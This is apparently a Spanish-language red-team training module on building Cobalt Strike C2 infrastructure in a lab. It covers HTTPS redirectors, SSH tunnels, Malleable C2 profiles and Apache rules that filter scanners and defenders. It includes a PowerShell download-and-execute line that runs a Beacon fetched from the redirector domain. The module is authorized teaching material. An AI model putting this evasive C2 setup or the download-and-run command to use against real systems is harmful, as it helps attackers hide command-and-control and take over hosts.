Saltar a contenido

C2 Infrastructure

Defense in Depth

Defense in Depth es un enfoque en el que múltiples mecanismos de protección se superponen para proteger uno o más activos. La idea detrás de esto es que, si uno de los mecanismos falla, los demás estén listos para respaldarlo. Con frecuencia, las organizaciones invierten más en el perímetro externo y descuidan buenas prácticas de seguridad en su red interna. Esto suele basarse en la falsa creencia de que si mantienen a los atacantes fuera en el perímetro, no necesitan preocuparse por nada más.

El riesgo obvio es que cuando (no “si”) esa única defensa externa falla, los atacantes logran entrar y luego se encuentran relativamente sin obstáculos para alcanzar su objetivo. Ejemplos de este tipo de escenario incluyen ataques del lado del cliente como phishing, y molestos network device 0-days tales como este Citrix ADC RCE.

Esta situación es algo que profesionales de la seguridad llevan intentando combatir durante años, pero muy a menudo no seguimos nuestro propio consejo. Incluso aunque penetration testers y red teamers estén ahí para ayudar a la organización, también podemos ser un riesgo significativo para ella si no hacemos las cosas correctamente. A lo largo de un engagement, es probable que obtengamos acceso a muchos sistemas y datos sensibles, y en última instancia, es nuestra responsabilidad protegerlos. No se me ocurre nada peor que contribuir directamente a que un cliente sea comprometido…

Hay varias maneras en que esto podría ocurrir; algunos ejemplos incluyen:

  • Dejar backdoors no autenticados abiertos y accesibles a través de Internet, como web shells o SOCKS proxies.
  • Usar canales sin cifrar, como netcat o HTTP shells.
  • C2 servers comprometidos, por ejemplo este Cobalt Strike RCE y Covenant RCE.

Este módulo abarcará cómo aprovechar offensive infrastructure que sea segura y resistente.


Infrastructure Design

A continuación se muestra un diagrama de alto nivel de cómo debería verse una secure C2 infrastructure, ideado por Tim MalcomVetter, anteriormente director de red teaming en Walmart.

A la derecha, usamos un protocolo cifrado, HTTPS, para hacer egress de tráfico C2. Cobalt Strike también cifra el tráfico de Beacon con AES antes de encapsularlo, así que el tráfico P2P, DNS y ExternalC2 tiene una capa de protección.

Se configura un SSH (o VPN) tunnel desde el C2 server hacia el HTTPS redirector. Debe ser en esa dirección porque:

  1. El área del adversario simulado no debería tener acceso inbound directo desde Internet.
  2. No quieres llaves privadas o credenciales sensibles del C2 server en los redirectors no confiables.

No debería almacenarse ningún dato en el redirector; el tráfico solo debe transitar a través de este. Aunque el redirector (aparentemente) está bajo tu control, el tráfico debe mantenerse seguro incluso del propio proveedor de alojamiento en la nube.

Info

Redirectors no tienen por qué ser VMs. CDNs, AWS Lambda, Azure Functions & CloudFlare Workers, entre otros, pueden usarse como “serverless” redirectors.

El área de adversary simulation debería ubicarse on-premise de la empresa de red teaming, con acceso controlado estrictamente y auditado. El modelo anterior se simula en el laboratorio usando las siguientes subredes y firewall rules.

La victim network solo puede comunicarse con la public network a través de HTTPS y DNS. La attacker network solo puede comunicarse con la public network en el puerto 22 para el SSH tunnel y HTTPS para probar Apache. La public network no puede iniciar sus propias conexiones a ninguna de las otras redes y la victim network no puede comunicarse directamente con la attacker network.

Apache Installation

Vamos a usar Redirector 1 como nuestro HTTPS redirector.

Una configuración básica se puede lograr redirigiendo tráfico con iptables o socat, pero un enfoque más sofisticado es usar Apache o NGINX como reverse proxies. La ventaja de estos últimos es que podemos crear reglas granulares para filtrar o redirigir tráfico no deseado, lo cual es útil para bloquear web scanners, bots y incident responders, etc.

Redirector 1 ya tiene instalado apache2, ssl, mod_rewrite, proxy y proxy_http, lo cual puede hacerse con los siguientes comandos:

attacker@redirector-1 ~> sudo apt install apache2
attacker@redirector-1 ~> sudo a2enmod ssl rewrite proxy proxy_http

Apache se ejecuta en HTTP por defecto, pero hay una configuración incorporada para HTTPS que podemos habilitar. Las configuraciones “habilitadas” son simplemente enlaces simbólicos a los archivos en el directorio “available”.

attacker@redirector-1 /e/a/sites-enabled> ll
lrwxrwxrwx 1 root root 35 Nov  5  2021 000-default.conf -> ../sites-available/000-default.conf

attacker@redirector-1 /e/a/sites-enabled> sudo rm 000-default.conf
attacker@redirector-1 /e/a/sites-enabled> sudo ln -s ../sites-available/default-ssl.conf .
attacker@redirector-1 /e/a/sites-enabled> ll
lrwxrwxrwx 1 root root 35 May 26 10:27 default-ssl.conf -> ../sites-available/default-ssl.conf

Reinicia Apache para que aplique la nueva configuración.

attacker@redirector-1 ~> sudo systemctl restart apache2

Abre un navegador en la Attacker Windows y navega a https://10.10.0.100. Debería cargarse la página predeterminada de Apache con un certificado autofirmado.


SSL Certificates

Antes de poder generar cualquier certificado SSL, necesitamos configurar algunos nombres de dominio. El laboratorio contiene una instalación de PowerDNS, a la que se puede acceder mediante el menú Applications en el lab dashboard.

PowerDNS ha sido preconfigurado con el dominio infinity-bank.com (si lo prefieres, puedes crear y usar el tuyo propio) con los siguientes registros que apuntan a Redirector 1:

Name Type Data
@ A 10.10.0.100
www CNAME infinity-bank.com.

Una vez guardados y aplicados, puedes probarlos usando dig.

attacker@DESKTOP-3BSK7NO ~> dig infinity-bank.com +short
10.10.0.100

attacker@DESKTOP-3BSK7NO ~> dig www.infinity-bank.com +short
infinity-bank.com.
10.10.0.100

Ahora podemos generar un par de claves pública/privada para usar con Apache. Los crearemos en WSL en nuestra Attacker Desktop VM y los copiaremos con scp. Primero, crea una nueva private key:

attacker@DESKTOP-3BSK7NO ~> pwd
/home/attacker

attacker@DESKTOP-3BSK7NO ~> openssl genrsa -out infinity-bank.key 2048
Generating RSA private key, 2048 bit long modulus (2 primes)

Luego, genera una nueva certificate signing request (CSR) a partir de esa private key. Cuando se te solicite, proporciona la información que aparecerá dentro del certificado.

attacker@DESKTOP-3BSK7NO ~> openssl req -new -key infinity-bank.key -out infinity-bank.csr

Country Name (2 letter code) [AU]:UK
State or Province Name (full name) [Some-State]:London
Locality Name (eg, city) []:.
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Infinity Bank
Organizational Unit Name (eg, section) []:.
Common Name (e.g. server FQDN or YOUR name) []:Infinity Bank
Email Address []:.

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:Infinity Bank

En el mundo real, enviarías este CSR a una Certificate Authority (CA) legítima como Let’s Encrypt, VeriSign, GlobalSign o DigiCert, etc. Una vez verifiquen que eres el propietario del dominio, te devolverán un certificado firmado. Como no podemos hacer eso en el lab, ya existe una CA falsa pre-generada y las VMs del lab han sido configuradas para confiar en cualquier certificado que firme.

La public/private keypair de esta CA falsa se encuentra en /home/attacker/ca.

attacker@DESKTOP-3BSK7NO ~> ls -l /home/attacker/ca/
-rw-r--r-- 1 attacker attacker 1220 Apr  5 14:41 ca.crt
-rw------- 1 attacker attacker 1704 Apr  5 14:41 ca.key

Antes de procesar el CSR, crea un nuevo archivo, infinity-bank.ext, con el siguiente contenido:

authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names

[alt_names]
DNS.1 = infinity-bank.com
DNS.2 = www.infinity-bank.com

Esto tampoco es algo de lo que normalmente te preocuparías, pero en este caso lo necesitamos junto con OpenSSL para definir el Subject Alternate Name (SAN) del certificado final. Observa que DNS.1 y DNS.2 contienen las dos entradas de dominio que queremos asociar con el certificado. Si creaste tu propio dominio en PowerDNS, simplemente modifícalas/agrega/elimina según corresponda.

Ahora finalmente podemos generar un certificado firmado.

attacker@DESKTOP-3BSK7NO ~> openssl x509 -req -in infinity-bank.csr -CA ca/ca.crt -CAkey ca/ca.key -CAcreateserial -out infinity-bank.crt -days 365 -sha256 -extfile ca/infinity-bank.ext
Signature ok
subject=C = UK, ST = London, O = Infinity Bank, CN = Infinity Bank

attacker@DESKTOP-3BSK7NO ~> ls -l
drwxr-xr-x 1 attacker attacker 4096 Apr 11 13:22 ca/
-rw-r--r-- 1 attacker attacker 1285 Apr 11 13:22 infinity-bank.crt
-rw-r--r-- 1 attacker attacker 1009 Apr 11 13:17 infinity-bank.csr
-rw------- 1 attacker attacker 1675 Apr 11 13:15 infinity-bank.key

Puedes usar lo siguiente para ver los detalles del certificado firmado:

attacker@DESKTOP-3BSK7NO ~> openssl x509 -noout -text -in infinity-bank.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            6c:9d:52:94:3e:b0:07:7f:81:d8:ce:2e:d2:3c:33:a4:0f:1c:f3:51
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = sni.ultimatessl.com, C = UK, L = London
        Validity
            Not Before: Apr 11 13:22:23 2023 GMT
            Not After : Apr 10 13:22:23 2024 GMT
        Subject: C = UK, ST = London, O = Infinity Bank, CN = Infinity Bank

Copia la private key y el public certificate a Redirector 1.

attacker@DESKTOP-3BSK7NO ~> scp infinity-bank.key attacker@10.10.0.100:/home/attacker/private.key
attacker@DESKTOP-3BSK7NO ~> scp infinity-bank.crt attacker@10.10.0.100:/home/attacker/public.crt

Luego, haz SSH en Redirector 1 y verifica que los archivos estén allí.

attacker@redirector-1 ~> ls -l
-rw------- 1 attacker attacker 1675 Apr 11 13:33 private.key
-rw-r--r-- 1 attacker attacker 1285 Apr 11 13:34 public.crt

Copia la private key en /etc/ssl/private y el public certificate en /etc/ssl/certs.

attacker@redirector-1 ~> sudo cp private.key /etc/ssl/private/
attacker@redirector-1 ~> sudo cp public.crt /etc/ssl/certs/

Abre /etc/apache2/sites-enabled/default-ssl.conf con un editor de texto (nano o vim) y busca las líneas 32-33.

SSLCertificateFile     /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile  /etc/ssl/private/ssl-cert-snakeoil.key

Sustituye las rutas de los archivos snakeoil por las que acabamos de copiar. Guarda el archivo y reinicia Apache.

attacker@redirector-1 ~> sudo systemctl restart apache2

Ahora podemos navegar a https://www.infinity-bank.com/ en un navegador y tendrá un certificado firmado y de confianza.


Beacon Certificates

Los HTTPS listeners en Cobalt Strike usan su propio certificado autofirmado por defecto, pero al igual que con Apache, podemos proporcionar nuestro propio par de claves. Dado que tu team server no debería ser accesible en Internet, no puede tener un public domain name y por lo tanto no puede usar certificados SSL firmados por una autoridad de confianza. En su lugar, podemos generar un par autofirmado, pero instalar el certificado público en el redirector para que sea de confianza.

El par de claves puede generarse usando openssl. Voy a asignar el common name a “localhost” porque Apache redirigirá el tráfico entrante a “localhost:8443”. Esto cobrará más sentido en la siguiente sección cuando creemos el SSH tunnel.

attacker@DESKTOP-3BSK7NO ~> openssl req -x509 -nodes -newkey rsa:2048 -keyout localhost.key -out localhost.crt -sha256 -days 365 -subj '/CN=localhost'
Generating a RSA private key
writing new private key to 'localhost.key'

Porque el team server está escrito en Java, necesitamos importar estos archivos a un Java KeyStore (JKS). Primero, combina los archivos públicos y privados en un solo archivo PFX.

attacker@DESKTOP-3BSK7NO ~> openssl pkcs12 -inkey localhost.key -in localhost.crt -export -out localhost.pfx
Enter Export Password: pass123
Verifying - Enter Export Password: pass123

Luego, el archivo PFX se puede convertir en un Java KeyStore usando la utilidad keytool. La contraseña de este nuevo almacén puede ser la misma o diferente a la que usaste para exportar el PKCS12.

attacker@DESKTOP-3BSK7NO ~> keytool -importkeystore -srckeystore localhost.pfx -srcstoretype pkcs12 -destkeystore localhost.store
Importing keystore localhost.pfx to localhost.store...
Enter destination keystore password: pass123
Re-enter new password: pass123
Enter source keystore password: pass123
Entry for alias 1 successfully imported.
Import command completed:  1 entries successfully imported, 0 entries failed or cancelled

Esto producirá un nuevo archivo, localhost.store, que debemos copiar al team server.

attacker@DESKTOP-3BSK7NO ~> rm localhost.pfx
attacker@DESKTOP-3BSK7NO ~> scp localhost.store attacker@10.10.5.50:/home/attacker/cobaltstrike/

La nueva keystore debe referenciarse en un Malleable C2 profile. Modifica /home/attacker/cobaltstrike/c2-profiles/normal/webbug.profile y agrega lo siguiente en la parte superior:

https-certificate {
     set keystore "localhost.store";
     set password "pass123";
}

Inicia el team server con el profile actualizado.

attacker@teamserver ~/cobaltstrike> sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile

Luego inicia un nuevo HTTPS listener usando el domain name.

Puedes verificar el certificado en el listener haciéndole una petición con curl.

attacker@DESKTOP-3BSK7NO ~> curl -v -k https://10.10.5.50

* Server certificate:
*  subject: CN=localhost
*  start date: Apr 12 08:59:16 2023 GMT
*  expire date: Apr 11 08:59:16 2024 GMT
*  issuer: CN=localhost

SSH Tunnel

Ahora necesitamos crear un reverse SSH tunnel desde el team server hacia Redirector 1.

attacker@teamserver ~> ssh -N -R 8443:localhost:443 attacker@10.10.0.100

Donde:

  • -N evita que la sesión abra un shell.
  • -R es remote-port:host:host-port. Esto vinculará el puerto 8443 en el destino (Redirector 1) y cualquier tráfico que llegue a ese puerto se redirigirá a 127.0.0.1:443 en el team server. El Cobalt Strike listener escucha en todas las interfaces (0.0.0.0), así que esto hará que el tráfico llegue al listener.

Info

Recomiendo encarecidamente ejecutar el comando anterior en una sesión de tmux o screen.

El comando parecerá dejar la terminal congelada, sin salida (salvo errores). Puedes presionar Ctrl + C en cualquier momento para cerrar la sesión. Si listamos los puertos en escucha en Redirector 1, verás el puerto 8443 enlazado por el SSH daemon:

ubuntu@redirector-1 ~> sudo ss -ltnp
State         Recv-Q        Send-Q                Local Address:Port                Peer Address:Port       Process
LISTEN        0             128                         127.0.0.1:8443                    0.0.0.0:*           users:(("sshd",pid=16799,fd=11))

Ahora puedes usar curl localhost:8443 en redirector-1 y eso llegará al Cobalt Strike listener. Sin embargo, mostrará un error de certificado SSL no confiable.

attacker@redirector-1 ~> curl -v https://localhost:8443/r1
*   Trying 127.0.0.1:8443...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS alert, unknown CA (560):
* SSL certificate problem: self signed certificate
* Closing connection 0
curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.haxx.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Para evitar esto, necesitamos agregar localhost.crt a los certificados de confianza en el redirector. Primero, transfiérelo desde WSL:

attacker@DESKTOP-3BSK7NO ~> scp localhost.crt attacker@10.10.0.100:/home/attacker/

Luego, en redirector-1, copia el certificado a /usr/local/share/ca-certificates y ejecuta update-ca-certificates.

attacker@redirector-1 ~> sudo cp localhost.crt /usr/local/share/ca-certificates/
attacker@redirector-1 ~> sudo update-ca-certificates
Updating certificates in /etc/ssl/certs...
rehash: warning: skipping ca-certificates.crt,it does not contain exactly one certificate or CRL
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.

Ahora podemos usar curl contra el listener sin ver un error de SSL y también veremos la solicitud en el registro web de CS.

04/12 09:47:29 visit (port 443) from: 127.0.0.1
    Request: GET /r1
    Response: 404 Not Found
    curl/7.68.0

También puedes verificar que no es posible llegar al listener usando directamente la IP del team server, lo que de alguna manera prueba que el tráfico está pasando por el SSH tunnel.

ubuntu@redirector-1 ~> curl -v -k https://10.10.5.50
*   Trying 10.10.5.50:443...
* TCP_NODELAY set
* connect to 10.10.5.50 port 443 failed: Connection timed out
* Failed to connect to 10.10.5.50 port 443: Connection timed out
* Closing connection 0
curl: (28) Failed to connect to 10.10.5.50 port 443: Connection timed out

Para mayor comodidad, se puede usar autossh para crear y mantener este SSH tunnel automáticamente. En la VM de tu team server, crea un nuevo archivo en .ssh/config y agrega lo siguiente:

Host                 redirector-1
HostName             10.10.0.100
User                 attacker
Port                 22
IdentityFile         /home/attacker/.ssh/id_rsa
RemoteForward        8443 localhost:443
ServerAliveInterval  30
ServerAliveCountMax  3

Ahora puedes iniciar el túnel con el siguiente comando:

attacker@teamserver ~> autossh -M 0 -f -N redirector-1

Donde:

  • -M 0 deshabilita el puerto de monitorización de autossh (en favor de las capacidades integradas en OpenSSH ServerAliveInterval y ServerAliveCountMax).
  • -f le indica a autossh que se ejecute en segundo plano.

Puedes fácilmente configurar autossh para que se ejecute al inicio a través de cron o systemd.


Enabling Apache Redirection

Ahora que el SSH tunnel está activo, podemos configurar Apache para hacer proxy del tráfico hacia el Cobalt Strike listener.

El archivo .htaccess es un archivo de configuración que ejecuta Apache. Puede usarse para todo, desde redirecciones básicas de tráfico y protección por contraseña, hasta prevención de image hot linking. Para habilitar htaccess, necesitamos modificar /etc/apache2/sites-enabled/default-ssl.conf.

Justo debajo de la etiqueta </VirtualHost> de cierre, agrega un nuevo bloque <Directory> con el siguiente contenido:

<Directory /var/www/html/>
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Require all granted
</Directory>

También necesitamos agregar SSLProxyEngine on debajo de SSLEngine on, y luego reiniciar Apache.

A continuación, crea un nuevo archivo .htaccess en la carpeta raíz de Apache, /var/www/html, e introduce lo siguiente:

RewriteEngine on
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]

La primera línea, evidentemente, habilita el rewrite engine. La segunda es una simple regla de redirección, cuya sintaxis es pattern substitution [flags].

Por defecto, el patrón analiza la URL solicitada y se escribe como regex. La rewrite rule no se activará si la expresión regular no coincide; en este ejemplo estamos haciendo coincidencia con la línea completa porque (por ahora) queremos hacer proxy de todo.

La substitución es lo que queremos reemplazar en la consulta coincidente; como queremos redirigir el tráfico al team server, forzamos https://localhost:8443. La variable %{REQUEST_URI} depende de la URL solicitada. Si la petición era https://www.infinity-bank.com/apache-test, esta regla la reescribe a https://localhost:8443/apache-test.

La marca [P] viene de “proxy” y le dice a Apache que transparently proxy el tráfico en lugar de devolver un 302 o 301.

Después de guardar el archivo, podemos probarlo con curl desde la Attacker Desktop.

attacker@DESKTOP-3BSK7NO ~> curl https://infinity-bank.com/test

Y debería llegar al team server.

04/12 10:11:22 visit (port 443) from: 127.0.0.1
    Request: GET /test
    Response: 404 Not Found
    curl/7.68.0

Podemos llevar esto un paso más allá ejecutando un Beacon en Workstation 1.

PS C:\Users\mdavis> iex (new-object net.webclient).downloadstring("https://www.infinity-bank.com/a")

Varias marcas pueden usarse juntas en htaccess con la sintaxis [Flag1,Flag2,FlagN]. Otras marcas útiles incluyen:

  • [L] - Last. Indica a mod_rewrite que deje de procesar más reglas.
  • [NE] - No Escape. No codifica caracteres especiales (por ejemplo & y ?) a sus valores hexadecimales.
  • [x] - Redirect. Envía un código de redirección en la respuesta.
  • [S] - Skip. Omite las siguientes N reglas.
  • [T] - Type. Define el MIME type de la respuesta.

Las rewrite conditions (RewriteCond) pueden combinarse con RewriteRule. Permiten que las reglas de reescritura solo se apliquen bajo ciertas condiciones. La sintaxis es TestString Condition [Flags]. TestString puede ser estático o una variable, como %{REMOTE_ADDR}, %{HTTP_COOKIE}, %{HTTP_USER_AGENT}, %{REQUEST_URI}, y más.

Se pueden definir múltiples RewriteCond, que por defecto se comportan como AND, pero pueden comportarse como OR con la marca [OR]. Puedes tener múltiples RewriteCond y RewriteRule en el mismo archivo y se evaluarán de arriba a abajo.

Veremos varios ejemplos más adelante, pero la documentación de mod_rewrite es el mejor lugar para revisar todos los detalles.


User Agent Rules

Hacer redirecciones basadas en la user agent string del cliente puede tener varios usos. Podemos redirigir a exploits específicos de navegador, bloquear AV scanners y sandboxes conocidas, y diferenciar entre dispositivos de escritorio y móviles. El team server de Cobalt Strike automáticamente bloquea algunas command-line user agents como curl y wget, incluso para recursos (como archivos alojados) que legítimamente están ahí, devolviendo un 404.

Podemos hacer algo similar en el redirector, pero de forma más flexible que solo devolver un “not found”. Por ejemplo, podemos descartar el tráfico directamente o redirigir la solicitud a contenido falso. Primero, crea ese contenido falso en el redirector.

attacker@redirector-1 ~> echo "Nothing to see here..." | sudo tee /var/www/html/diversion
Nothing to see here...

attacker@redirector-1 ~> cat /var/www/html/diversion
Nothing to see here...

Luego modifica tu archivo htaccess para que sea:

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
RewriteRule ^a$ diversion [PT]

RewriteCond /var/www/html/%{REQUEST_URI} -f
RewriteRule ^.*$ %{REQUEST_FILENAME} [L]

RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]

La nueva rewrite condition mira la user-agent en la petición y la compara con las cadenas “curl” O “wget”. Si coincide, ejecuta la regla inmediatamente debajo. Esa regla busca /a en la URI y, si lo encuentra, lo reemplaza con nuestra URI falsa /diversion. La marca [PT] significa “passthrough”, y fuerza a que la URI modificada se reenvíe de vuelta al motor de mapeo de URL para que procese otras reglas y condiciones.

La siguiente rewrite condition toma la URI solicitada y usa la opción -f para ver si coincide con un archivo en disco. Si existe, la siguiente rewrite rule deja la URI intacta, pero especificamos la marca [L] para detener cualquier procesamiento adicional de reglas. Esto efectivamente nos permite servir archivos estáticos en el web server en lugar de hacer proxy de las peticiones al team server.

Si llegamos al final de las reglas, entonces el tráfico se hace proxy.

Ahora, si intentamos descargar nuestro payload en /a con curl, se nos sirve nuestro contenido falso en su lugar.

attacker@DESKTOP-3BSK7NO ~> curl https://infinity-bank.com/a
Nothing to see here...

Algunos perfiles de HTTP(S) C2 usan la cabecera cookie para transportar información Beacon metadata. El webbug profile que estamos usando actualmente coloca dicha información en la URL, así que cambiémoslo para que use una cookie.

El bloque metadata actualmente se ve así:

metadata {
    netbios;
    prepend "__utma";
    parameter "utmcc";
}

Esto aparece en la URL como: &utmcc=__utmakdmjdffgcepcddbgbegpogkmmdadmcdj.

Si lo cambiamos a:

metadata {
    netbios;
    prepend "SESSIONID=";
    header "Cookie";
}

Entonces aparecerá en la petición HTTP como: Cookie: SESSIONID=kaekkgokannieolldcnhgfahhifcegaj.

Hacer modificaciones al C2 profile también requiere reiniciar el team server, regenerar un payload y ejecutar un nuevo Beacon. Antes de tocar el archivo htaccess nuevamente, podemos comprobar que aún podemos alcanzar el team server en una URI aleatoria.

attacker@DESKTOP-3BSK7NO ~> curl https://infinity-bank.com/test
03/03 14:24:21 visit (port 443) from: 127.0.0.1
    Request: GET /test
    Response: 404 Not Found
    curl/7.81.0

Ahora agreguemos una nueva rewrite condition en el archivo htaccess.

RewriteCond %{HTTP_COOKIE} SESSIONID
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]

Esta nueva condición verifica que exista una cookie llamada SESSIONID en la petición para ser proxy hacia el team server. El Beacon seguirá haciendo check-in porque tiene esta cookie. Pero nuestra petición GET aleatoria ya no será reenviada y resultará en un 404 desde Apache.

attacker@DESKTOP-3BSK7NO ~> curl https://infinity-bank.com/test
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at infinity-bank.com Port 443</address>
</body></html>

URI & Query Rules

También podemos ser más selectivos sobre qué URIs se procesan para hacer proxy. Actualmente estamos coincidiendo con todo, ^.*$ (asumiendo que las otras condiciones se cumplan), pero podemos escribir reglas que coincidan exactamente con los parámetros de nuestro perfil de tráfico C2.

La forma más fácil de obtener esto es usando c2lint.

attacker@teamserver ~/cobaltstrike> ./c2lint c2-profiles/normal/webbug.profile

http-get
--------
GET /__utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US HTTP/1.1

http-post
---------
POST /___utm.gif?utmac=UA-2207328-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US HTTP/1.1

La URI para la petición GET siempre será la misma; vemos en el perfil que la URI y todos los parámetros están codificados de forma estática.

set uri "/__utm.gif";

parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";

La petición POST tiene un único elemento dinámico, que es el Beacon ID.

set uri "/___utm.gif";

id {
    prepend "UA-220";
    append "-2";
    parameter "utmac";
}

parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";

Por lo tanto, esta parte destacada difiere en cada Beacon: utmac=UA-220**7328**-2.

Podemos usar esta información para crear las siguientes reglas.

RewriteEngine on

RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{HTTP_COOKIE} SESSIONID
RewriteCond %{REQUEST_URI} __utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]

RewriteCond %{REQUEST_METHOD} POST [NC]
RewriteCond %{REQUEST_URI} ___utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]

He separado las reglas en bloques GET y POST porque se necesitan reglas diferentes para cada uno.

La URI para GET es __utm.gif mientras que para POST es ___utm.gif (observa el guion bajo adicional). La cookie SESSIONID solo se envía en la petición GET, no en la POST. La query string para la GET request es estática, mientras que para la POST es una expresión regular con un comodín para el Beacon ID.

Una vez guardado, el Beacon debería seguir haciendo check-in y responder a los comandos. Si deja de hacer check-in, hay un problema con las reglas GET. Si hace check-in pero no responde, hay un problema con las reglas POST.

Cuando restringimos el tráfico al team server, es bastante fácil romper nuestra capacidad de descargar archivos alojados. Para remediar esto, podemos agregar algunas condiciones donde, si la URI coincide con alguno de los nombres de archivo que conocemos, se permita el tráfico. Por ejemplo:

RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
RewriteRule ^a|b|c|d$ diversion [PT]

RewriteCond /var/www/html/%{REQUEST_URI} -f
RewriteRule ^.*$ %{REQUEST_FILENAME} [L]

RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{REQUEST_URI} a|b|c|d
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]

Beacon Staging

Al igual que muchos frameworks, Cobalt Strike puede generar payloads con stager y stageless.

Info

Se asume aquí que entiendes la diferencia entre ambos. Si no, simplemente busca “staged vs stageless payloads” o similar en tu buscador preferido.

En general, no usamos mucho los staged payloads porque tienen una OPSEC bastante mala, pero el team server de Cobalt Strike aún soporta ese proceso de staging por defecto. Si inicias un staged payload, verás una entrada en el web log. Esto es el stager solicitando al team server el full payload stage. Usando el webbug profile, se ve así:

03/03 16:46:15 visit (port 443) from: 127.0.0.1
    Request: GET /Jk8p/
    beacon beacon stager x64
    Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko

Un C2 profile puede definir URLs específicas para x86 y x64 stagers en un bloque http-stager.

http-stager {
        set uri_x86 "/_init.gif";
        set uri_x64 "/__init.gif";
        ...
}

Si el perfil no lo hace, Cobalt Strike volverá a su comportamiento predeterminado, que se ve como una URL aleatoria de cuatro caracteres (como arriba). El recurso que se devuelve es en realidad el Beacon shellcode completo, que posteriormente carga el stager.

Estos caracteres no son completamente aleatorios: equivalen a un cálculo de 8-bit checksum. Cuando el team server recibe la petición:

  • Convierte cada carácter en su representación entera.
  • Calcula la suma de esos enteros.
  • Divide esa suma entre 256 y verifica el resto.
    • Si el resto es 92, es una petición x86.
    • Si el resto es 93, es una petición x64.

¿Por qué este staging es malo? Uno de los motivos es que la solicitud es completamente no autenticada, lo que significa que puede ser realizada por cualquiera, desde cualquier lugar, no está restringida a un CS stager legítimo. Por ejemplo, podemos descargar todo el shellcode.

attacker@DESKTOP-3BSK7NO ~> curl https://infinity-bank.com/Jk8p -A "foo" -o /mnt/c/Payloads/shellcode.bin -s

attacker@DESKTOP-3BSK7NO ~> ls -lh /mnt/c/Payloads/shellcode.bin
-rwxrwxrwx 1 attacker attacker 290K Apr 12 10:38 /mnt/c/Payloads/shellcode.bin*

Parsers de Beacon (como CobaltStrikeParser de Sentinel-One) pueden leer este shellcode y mostrarte todo lo que necesitas saber de él.

attacker@DESKTOP-3BSK7NO ~/CobaltStrikeParser (master)> python3 parse_beacon_config.py /mnt/c/Payloads/shellcode.bin

BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 60000
MaxGetSize                       - 1048616
Jitter                           - 0
MaxDNS                           - Not Found
PublicKey_MD5                    - 9cc3eada5fab2cff6f23d4f29c4c3793
C2Server                         - www.infinity-bank.com,/__utm.gif
UserAgent                        - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS)
HttpPostUri                      - /___utm.gif

Esto le brinda a los defensores una gran cantidad de información sobre tu campaña, muy útil para responder de manera efectiva. Por ejemplo, revelaría todas tus IPs o dominios de redirector, perfil de tráfico y configuración post-ex.

El uso de redirectors puede mitigar el riesgo de que estas URLs de staging sean alcanzables, pero dado que generalmente no usamos stagers de todos modos, la opción más segura es deshabilitarlos por completo. Esto se hace añadiendo la siguiente configuración a las opciones globales de tu C2 profile.

set host_stage "false";

Reinicia el team server para que se apliquen los cambios y ahora cualquier petición de stage devolverá un 404.

attacker@DESKTOP-3BSK7NO ~> curl -v https://infinity-bank.com/Jk8p -A "foo"
< HTTP/1.1 404 Not Found
< Date: Fri, 3 Mar 2023 17:13:48 GMT
< Content-Type: text/plain
< Content-Length: 0

Redirecting DNS

